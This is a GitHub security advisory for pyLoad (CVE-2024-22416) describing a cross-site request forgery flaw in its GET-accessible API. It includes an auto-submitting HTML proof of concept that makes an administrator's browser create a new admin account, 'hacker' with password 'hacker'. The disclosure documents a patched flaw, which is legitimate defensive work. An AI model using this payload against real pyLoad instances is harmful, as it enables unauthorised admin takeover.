GHSA-pgpj-v85q-h5fm
Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.
### PoC
We host the following HTML file on an attacker-controlled server.
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
```
If we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.

The attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.

### Impact
Any API call can be made via a CSRF attack by an unauthenticated user.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm
- https://nvd.nist.gov/vuln/detail/CVE-2024-22416
- https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e
- https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc
- https://github.com/pyload/pyload
- https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml